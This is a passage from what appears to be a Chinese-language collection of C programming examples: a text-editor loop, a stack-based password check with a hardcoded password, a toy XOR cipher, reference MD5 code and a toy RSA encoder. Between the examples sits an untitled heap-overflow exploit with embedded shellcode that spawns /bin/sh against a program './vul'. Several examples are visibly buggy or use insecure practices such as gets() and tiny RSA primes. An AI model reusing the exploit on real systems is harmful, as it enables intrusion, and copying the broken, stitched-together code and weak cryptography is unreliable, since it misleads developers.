printf( " | e+filename:Edit |\n ");
printf( " | i+k+m:Insert |\n ");
printf( " | d+m+n :Delete |\n ");
printf( " | q :Quit |\n ");
printf( " *******************************\n ");
while( 1)
{
printf( " Please input a command:\n ");
/* 读入命令行 */
gets(Buffer);
/* 掠过空白符 */
for(CmdPointer=Buffer;(*CmdPointer== ' ')||(*CmdPointer== ' \t ');CmdPointer++);
/* 空行重新输入 */
if(*CmdPointer== ' \0 ')
continue;
switch(*CmdPointer)
{
/* 调用编辑函数 */
case ' e ':
/* 掠过命令符,指向参数 */
CmdPointer++;
Edit();
break;
/* 调用插入函数 */
case ' i ':
CmdPointer++;
Insert();
break;
/* 调用删除函数 */
case ' d ':
CmdPointer++;
Delete();
break;
/* 调用推出函数 */
case ' q ':
flag2= 1;
Quit();
break;
/* 非法命令符 */
default:
flag= 1;
break;
}
if(flag== 1)
continue;
/* 显示正文 */
printf( " The text of the file %s is:\n ",filename);
for(j= 0;j<LineNum;j++)
fputs(LinePointer[j],stdout);
if(flag2== 1)
break;
}
return 0;
}
9. 使用栈实现密码设置49
#include< string.h>
#include<conio.h>
#include<stdlib.h>
/* 定义使用的宏 */
#define STACK_INIT_SIZE 10
#define TRUE 1
#define FALSE 0
#define ERROR 0
/* 程序保存的密码 */
char PASSWORD[ 10]= " passwd ";
/* 栈中元素类型 */
typedef char Node;
/* 定义栈结构体 */
typedef struct STACK
{
Node * base;
Node *top;
int size;
int count;
}Stack,*PStack;
/* 定义一个返回类型 */
typedef int Result;
/* 把数据压入栈 */
void Push(PStack *S,Node e)
{
if((*S)->top - (*S)-> base>=(*S)->size)
{
(*S)-> base=(Node *) realloc((*S)-> base,
((*S)->size + 2) * sizeof(Node));
if(!(*S)-> base)exit(- 1);
(*S)->top=(*S)-> base+(*S)->size;
(*S)->size += 2;
}
*((*S)->top++)=e;
++(*S)->count;
}
/* 弹出并删除栈顶元素 */
void Pop(PStack *S)
{
if((*S)->top==(*S)-> base) return ERROR;
(*S)->top--;
--(*S)->count;
return TRUE;
}
/* 返回栈顶元素 */
Result GetTop(PStack S,Node *e)
{
if(S->top==S-> base) return ERROR;
*e=*(S->top- 1);
S->top--;
}
/* 把栈置为空 */
void ClearStack(PStack *S)
{
(*S)->top=(*S)-> base;
(*S)->count= 0;
}
/* 判断栈空否 */
Result StackEmpty(PStack S)
{
if(S.top==S. base)
return TRUE;
else
return FALSE;
}
/* 初始化栈 */
void Init(PStack *S)
{
*S=(PStack *)malloc( sizeof(PStack));
(*S)-> base=(Node *)malloc(STACK_INIT_SIZE* sizeof(Node));
if(!(*S)-> base)exit(- 1);
(*S)->top=(*S)-> base;
(*S)->size=STACK_INIT_SIZE;
(*S)->count= 0;
}
/* 销毁栈 */
Result Destroy(PStack *S)
{
free((*S)-> base);
free((*S));
return OK;
}
/* 将栈中的元素反序 */
void Change(PStack S, char *a)
{
int n=S.count- 1 ;
while (!StackEmpty(S))
GetTop(&S,&a[n--]);
}
/* 处理密码匹配工作 */
void Process(PStack *s)
{
int i= 0,k,j= 0;
Node ch,*a;
k=strlen(PASSWORD);
printf( " input the password which has %d chars, you have 3 chances:\n ",k);
printf( " Input:\\> ");
for(;;)
{
if(i>= 3)
{
i++;
clrscr();
gotoxy( 1, 1); /* 定位光标位置 */
break;
}
else if(i> 0&&i< 3)
{
gotoxy( 5, 2);
for(j= 1;j<=(*s)->count;j++)
printf( " ");
gotoxy( 5, 2);
ClearStack(s);
}
for(;;) /* 密码输入,可退格 */
{
ch=getch(); /* 退格 的ASCII 是8 */
if(ch!= 13) /* 判断是否为回车,不是则把它赋给下面 */
{
if(ch== 8)
{
Pop(s);
gotoxy( 4+j, 2);
printf( " ");
gotoxy( 4+j, 2);
}
else
{
printf( " * ");
Push(s,ch);
}
j=(*s)->count;
}
else break;
}
i++;
if(k!=j)
continue;
else
{
a=(Node *)malloc((*s)->count* sizeof(Node));
Change(**s,a);
for(j= 1;j<=(*s)->count;)
{
if(a[j- 1]==PASSWORD[j- 1]) j++;
else {j=(*s)->count+ 2; break;}
}
if(j==(*s)->count+ 2)
continue;
else break;
}
} /* 最上面的for完 */
if(i== 4)
printf( " \nwrong password ");
else printf( " \ncorrect!\n ");
free(a);
}
void main()
{
PStack s;
Init(&s);
Process(&s);
getch();
Destroy(&s);
return 0;
}
#define PROG "./vul"
#define HEAP_LEN 128
int main( int argc, char **argv)
{
char **env;
char **arg;
char heap_buf[ 150];
char eggshell[]= /* Mudge's */
" \xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9 "
" \x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46 "
" \x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51 "
" \x9a\xe8\xc6\xff\xff\xff/bin/sh ";
/* 我们将地址指向argv[],我们需要ind值为负值 */
memset(heap_buf, ' A ', HEAP_LEN);
*(( int *) (heap_buf + HEAP_LEN)) = ( int) argv - ( 2 * sizeof( int));
/* 为了构造atexit结构 */
*(( int *) (heap_buf + HEAP_LEN + 4)) = ( int) 0xffffffff;
*(( int *) (heap_buf + HEAP_LEN + 8)) = ( int) 0;
/* 我们构建自己的atexit结构用于退出时调用 */
env = ( char **) malloc( sizeof( char *));
env[ 0] = 0;
arg = ( char **) malloc( sizeof( char *) * 4);
arg[ 0] = ( char *) malloc(strlen(PROG) + 1);
arg[ 1] = ( char *) malloc(strlen(heap_buf) + 1);
arg[ 2] = ( char *) malloc(strlen(eggshell) + 1);
arg[ 3] = 0;
strcpy(arg[ 0], PROG);
strcpy(arg[ 1], heap_buf);
strcpy(arg[ 2], eggshell);
if (argc > 1) {
fprintf(stderr, " Using argv %x\n ", argv);
execve( " ./vul ", arg, env);
}
else {
execve(argv[ 0], arg, env);
}
}
10. 随机加密 58
#include<stdlib.h>
int main()
{
FILE * sourcefile;
FILE * keyfile;
FILE * destfile;
char ch,keych;
int i;
puts( " **************************************** ");
puts( " * The file will encrypt the source.txt * ");
puts( " **************************************** ");
if(!(sourcefile = fopen( " source.txt ", " r "))) {
printf( " Can not open the source file\n ");
exit(- 1);
}
if(!(destfile = fopen( " destfile.txt ", " w+ "))) {
printf( " Can not open the destination file\n ");
exit(- 1);
}
if(!(keyfile= fopen( " keyfile.txt ", " w+ "))) {
printf( " Can not open the keyfile file\n ");
exit(- 1);
}
printf( " \n.....Encrypting....\n ");
i = 0;
while(!feof(sourcefile)) {
randomize();
keych = random( 112 - i) + 16;
ch = fgetc(sourcefile);
ch = ch ^ keych;
fputc(ch,destfile);
fputc(keych,keyfile);
i = ( ++i)% 16;
}
printf( " Encrypted the souce.txt successfully!\n ");
fclose(sourcefile);
fclose(keyfile);
fclose(destfile);
getch();
return 1;
}
11.MD5加密 59
代码如下:
*/
#include <stdio.h>
#include <time.h>
#include < string.h>
/* POINTER defines a generic pointer type */
typedef unsigned char *POINTER;
/* UINT2 defines a two byte word */
typedef unsigned short int UINT2;
/* UINT4 defines a four byte word */
typedef unsigned long int UINT4;
typedef struct
{
UINT4 state[ 4]; /* state (ABCD) */
UINT4 count[ 2]; /* number of bits, modulo 2^64 (lsb first) */
unsigned char buffer[ 64]; /* input buffer */
} MD5_CTX;
void MD5Init (MD5_CTX *);
void MD5Update (MD5_CTX *, unsigned char *, unsigned int);
void MD5Final (unsigned char [ 16], MD5_CTX *);
#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21
static void MD5Transform (UINT4 [ 4], unsigned char [ 64]);
static void Encode (unsigned char *, UINT4 *, unsigned int);
static void Decode (UINT4 *, unsigned char *, unsigned int);
static void MD5_memcpy (POINTER, POINTER, unsigned int);
static void MD5_memset (POINTER, int, unsigned int);
static unsigned char PADDING[ 64] = {
0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
/* F, G, H and I are basic MD5 functions.
*/
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))
/* ROTATE_LEFT rotates x left n bits.
*/
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
Rotation is separate from addition to prevent recomputation.
*/
#define FF(a, b, c, d, x, s, ac) { (a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); (a) = ROTATE_LEFT ((a), (s)); (a) += (b);}
#define GG(a, b, c, d, x, s, ac) { \
(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define HH(a, b, c, d, x, s, ac) { \
(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define II(a, b, c, d, x, s, ac) { \
(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
/* MD5 initialization. Begins an MD5 operation, writing a new
context.
*/
void MD5Init (MD5_CTX *context) {
context->count[ 0] = context->count[ 1] = 0;
/* Load magic initialization constants. */
context->state[ 0] = 0x67452301;
context->state[ 1] = 0xefcdab89;
context->state[ 2] = 0x98badcfe;
context->state[ 3] = 0x10325476;
}
/* MD5 block update operation. Continues an MD5 message-digest
operation, processing another message block, and updating the
context.
*/
void MD5Update (MD5_CTX *context,unsigned char *input,unsigned int inputLen) {
unsigned int i, index, partLen;
/* Compute number of bytes mod 64 */
index = (unsigned int)((context->count[ 0] >> 3) & 0x3F);
/* Update number of bits */
if ((context->count[ 0] += ((UINT4)inputLen << 3))< ((UINT4)inputLen << 3))
context->count[ 1]++;
context->count[ 1] += ((UINT4)inputLen >> 29);
partLen = 64 - index;
/* Transform as many times as possible. */
if (inputLen >= partLen) {
MD5_memcpy((POINTER)&context->buffer[index], (POINTER)input, partLen);
MD5Transform (context->state, context->buffer);
for (i = partLen; i + 63 < inputLen; i += 64)
MD5Transform (context->state, &input[i]);
index = 0;
}
else
i = 0;
/* Buffer remaining input */
MD5_memcpy((POINTER)&context->buffer[index], (POINTER)&input[i],inputLen-i);
}
/* MD5 finalization. Ends an MD5 message-digest operation, writing
the message digest and zeroizing the context.
*/
void MD5Final (unsigned char digest[ 16],MD5_CTX *context) {
unsigned char bits[ 8];
unsigned int index, padLen;
/* Save number of bits */
Encode (bits, context->count, 8);
/* Pad out to 56 mod 64. */
index = (unsigned int)((context->count[ 0] >> 3) & 0x3f);
padLen = (index < 56) ? ( 56 - index) : ( 120 - index);
MD5Update (context, PADDING, padLen);
/* Append length (before padding) */
MD5Update (context, bits, 8);
/* Store state in digest */
Encode (digest, context->state, 16);
/* Zeroize sensitive information. */
MD5_memset ((POINTER)context, 0, sizeof (*context));
}
/* MD5 basic transformation. Transforms state based on block.
*/
static void MD5Transform (UINT4 state[ 4], unsigned char block[ 64])
{
UINT4 a = state[ 0], b = state[ 1], c = state[ 2], d = state[ 3], x[ 16];
Decode (x, block, 64);
/* Round 1 */
FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
FF (c, d, a, b, x[ 10], S13, 0xffff5bb1); /* 11 */
FF (b, c, d, a, x[ 11], S14, 0x895cd7be); /* 12 */
FF (a, b, c, d, x[ 12], S11, 0x6b901122); /* 13 */
FF (d, a, b, c, x[ 13], S12, 0xfd987193); /* 14 */
FF (c, d, a, b, x[ 14], S13, 0xa679438e); /* 15 */
FF (b, c, d, a, x[ 15], S14, 0x49b40821); /* 16 */
/* Round 2 */
GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
GG (c, d, a, b, x[ 11], S23, 0x265e5a51); /* 19 */
GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
GG (d, a, b, c, x[ 10], S22, 0x2441453); /* 22 */
GG (c, d, a, b, x[ 15], S23, 0xd8a1e681); /* 23 */
GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
GG (d, a, b, c, x[ 14], S22, 0xc33707d6); /* 26 */
GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
GG (a, b, c, d, x[ 13], S21, 0xa9e3e905); /* 29 */
GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
GG (b, c, d, a, x[ 12], S24, 0x8d2a4c8a); /* 32 */
/* Round 3 */
HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
HH (c, d, a, b, x[ 11], S33, 0x6d9d6122); /* 35 */
HH (b, c, d, a, x[ 14], S34, 0xfde5380c); /* 36 */
HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
HH (b, c, d, a, x[ 10], S34, 0xbebfbc70); /* 40 */
HH (a, b, c, d, x[ 13], S31, 0x289b7ec6); /* 41 */
HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */
HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
HH (d, a, b, c, x[ 12], S32, 0xe6db99e5); /* 46 */
HH (c, d, a, b, x[ 15], S33, 0x1fa27cf8); /* 47 */
HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
/* Round 4 */
II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
II (c, d, a, b, x[ 14], S43, 0xab9423a7); /* 51 */
II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
II (a, b, c, d, x[ 12], S41, 0x655b59c3); /* 53 */
II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
II (c, d, a, b, x[ 10], S43, 0xffeff47d); /* 55 */
II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
II (d, a, b, c, x[ 15], S42, 0xfe2ce6e0); /* 58 */
II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
II (b, c, d, a, x[ 13], S44, 0x4e0811a1); /* 60 */
II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
II (d, a, b, c, x[ 11], S42, 0xbd3af235); /* 62 */
II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
state[ 0] += a;
state[ 1] += b;
state[ 2] += c;
state[ 3] += d;
/* Zeroize sensitive information. */
MD5_memset ((POINTER)x, 0, sizeof (x));
}
/* Encodes input (UINT4) into output (unsigned char). Assumes len is
a multiple of 4.
*/
static void Encode (unsigned char *output, UINT4 *input, unsigned int len) {
unsigned int i, j;
for (i = 0, j = 0; j < len; i++, j += 4)
{
output[j] = (unsigned char)(input[i] & 0xff);
output[j+ 1] = (unsigned char)((input[i] >> 8) & 0xff);
output[j+ 2] = (unsigned char)((input[i] >> 16) & 0xff);
output[j+ 3] = (unsigned char)((input[i] >> 24) & 0xff);
}
}
/* Decodes input (unsigned char) into output (UINT4). Assumes len is
a multiple of 4.
*/
static void Decode (UINT4 *output,unsigned char *input, unsigned int len) {
unsigned int i, j;
for (i = 0, j = 0; j < len; i++, j += 4)
output[i] = ((UINT4)input[j]) | (((UINT4)input[j+ 1]) << 8) |(((UINT4)input[j+ 2]) << 16) | (((UINT4)input[j+ 3]) << 24);
}
/* Note: Replace "for loop" with standard memcpy if possible.
*/
static void MD5_memcpy (POINTER output,POINTER input, unsigned int len) {
unsigned int i;
for (i = 0; i < len; i++)
output[i] = input[i];
}
/* Note: Replace "for loop" with standard memset if possible.
*/
static void MD5_memset (POINTER output, int value, unsigned int len) {
unsigned int i;
for (i = 0; i < len; i++)
(( char *)output)[i] = ( char)value;
}
#ifndef MD
#define MD 5
#endif
/* Length of test block, number of test blocks.
*/
#define TEST_BLOCK_LEN 1000
#define TEST_BLOCK_COUNT 1000
static void MDString ( char *);
static void MDTimeTrial ( void);
static void MDTestSuite ( void);
static void MDFile ( char *);
static void MDFilter ( void);
static void MDPrint (unsigned char [ 16]);
#define MD_CTX MD5_CTX
#define MDInit MD5Init
#define MDUpdate MD5Update
#define MDFinal MD5Final
/* Main driver.
Arguments (may be any combination):
-sstring - digests string
-t - runs time trial
-x - runs test script
filename - digests file
(none) - digests standard input
*/
int main ( int argc, char *argv[])
{
int i;
if (argc > 1)
for (i = 1; i < argc; i++)
if (argv[i][ 0] == ' - ' && argv[i][ 1] == ' s ')
MDString (argv[i] + 2);
else if (strcmp (argv[i], " -t ") == 0)
MDTimeTrial ();
else if (strcmp (argv[i], " -x ") == 0)
MDTestSuite ();
else
MDFile (argv[i]);
else
MDFilter ();
return ( 0);
}
/* Digests a string and prints the result. */
static void MDString ( char * string)
{
MD_CTX context;
unsigned char digest[ 16];
unsigned int len = strlen ( string);
MDInit (&context);
MDUpdate (&context, string, len);
MDFinal (digest, &context);
printf ( " MD%d (\"%s\") = ", MD, string);
MDPrint (digest);
printf ( " \n ");
}
/* Measures the time to digest TEST_BLOCK_COUNT TEST_BLOCK_LEN-byte blocks. */
static void MDTimeTrial ()
{
MD_CTX context;
time_t endTime, startTime;
unsigned char block[TEST_BLOCK_LEN], digest[ 16];
unsigned int i;
printf( " MD%d time trial. Digesting %d %d-byte blocks ... ", MD,TEST_BLOCK_LEN, TEST_BLOCK_COUNT);
/* Initialize block */
for (i = 0; i < TEST_BLOCK_LEN; i++)
block[i] = (unsigned char)(i & 0xff);
/* Start timer */
time (&startTime);
/* Digest blocks */
MDInit (&context);
for (i = 0; i < TEST_BLOCK_COUNT; i++)
MDUpdate (&context, block, TEST_BLOCK_LEN);
MDFinal (digest, &context);
/* Stop timer */
time (&endTime);
printf ( " done\n ");
printf ( " Digest = ");
MDPrint (digest);
printf ( " \nTime = %ld seconds\n ", ( long)(endTime-startTime));
printf
( " Speed = %ld bytes/second\n ",( long)TEST_BLOCK_LEN * ( long)TEST_BLOCK_COUNT/(endTime-startTime));
}
/* Digests a reference suite of strings and prints the results. */
static void MDTestSuite ()
{
printf ( " MD%d test suite:\n ", MD);
MDString ( "");
MDString ( " a ");
MDString ( " abc ");
MDString ( " message digest ");
MDString ( " abcdefghijklmnopqrstuvwxyz ");
MDString ( " ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 ");
MDString ( " 1234567890123456789012345678901234567890\
1234567890123456789012345678901234567890 " );
}
/* Digests a file and prints the result. */
static void MDFile ( char *filename)
{
FILE *file;
MD_CTX context;
int len;
unsigned char buffer[ 1024], digest[ 16];
if ((file = fopen (filename, " rb ")) == NULL)
printf ( " %s can't be opened\n ", filename);
else
{
MDInit (&context);
while (len = fread (buffer, 1, 1024, file))
MDUpdate (&context, buffer, len);
MDFinal (digest, &context);
fclose (file);
printf ( " MD%d (%s) = ", MD, filename);
MDPrint (digest);
printf ( " \n ");
}
}
/* Digests the standard input and prints the result. */
static void MDFilter ()
{
MD_CTX context;
int len;
unsigned char buffer[ 16], digest[ 16];
MDInit (&context);
while (len = fread (buffer, 1, 16, stdin))
MDUpdate (&context, buffer, len);
MDFinal (digest, &context);
MDPrint (digest);
printf ( " \n ");
}
/* Prints a message digest in hexadecimal. */
static void MDPrint (unsigned char digest[ 16])
{
unsigned int i;
for (i = 0; i < 16; i++)
printf ( " %02x ", digest[i]);
}
12. RSA加密 60
代码如下:
#include < string.h>
int Fmod( int x, int r, int p);
int IptoInt( char *ip);
int e,d= 1,n;
int main( int argc, char *argv[])
{
int ip,fai,p= 43,q= 59,ch1,i= 0,j= 0,edch,dech= 0;
char *num,*cha,ch,*file={ " index.html "};
FILE *fp,*fp2;
if (argc!= 3) {
printf( " paramater error! ");
exit( 0);
}
file=argv[ 2];
e=IptoInt(argv[ 2]);
if ((fp2=fopen( " encode.txt ", " w+ "))==NULL) {
printf( " can't open file \n ");
exit( 0);
}
n=p*q;
fai=(p- 1)*(q- 1);
if((fp=fopen(file, " r "))==NULL) {
printf( " can't open the file %s\n ",file);
exit( 0);
}
while((ch1=fgetc(fp))!=EOF) {
edch=Fmod(ch1,e,n);
if (edch> 0 && edch< 10)
{
fprintf(fp2, " %s ", " 000 ");
fprintf(fp2, " %d ",edch);
}
else if (edch< 100 && edch> 10)
{
fprintf(fp2, " %s ", " 00 ");
fprintf(fp2, " %d ",edch);
}
else if (edch< 1000 && edch> 100)
{
fprintf(fp2, " %s ", " 0 "); fprintf(fp2, " %d ",edch);
}
else if (edch< 10000 && edch> 1000)
{
fprintf(fp2, " %d ",edch);
}
else
fputc( ' \n ',fp2);
}
fputc( ' \n ',fp2);
printf( " Encoded the file %s successfully!!\n\n ",file);
fclose(fp);
fclose(fp2);
return 0;
}
int IptoInt( char *ip)
{
int i,ei= 0,len;
int prime= 0;
len=strlen(ip);
len=strlen(ip);
for(i= 0;i<len;i++)
{
if(ip[i]> ' 0 ' && ip[i]< ' 9 ')
ei=ei+i*(( int)ip[i]);
}
ei=ei/ 1000+(ei/ 100)% 10+(ei/ 10)% 10+ei% 10;
while (((ei % 2)== 0) || ((ei % 3) == 0))
{
ei=ei+ 1;
if((ei%i)== 0)
{
ei--;
prime= 0;
break;
}
}
return(ei);
}
int Fmod( int x, int r, int p)
{
int a,b,c= 1;
a=x;
b=r;
while (b!= 0)
{
while ((b% 2)== 0)
{
b=b/ 2;
a=(a*a)%p;
}
b=b- 1;
c=(a*c)%p;
}
return c;
}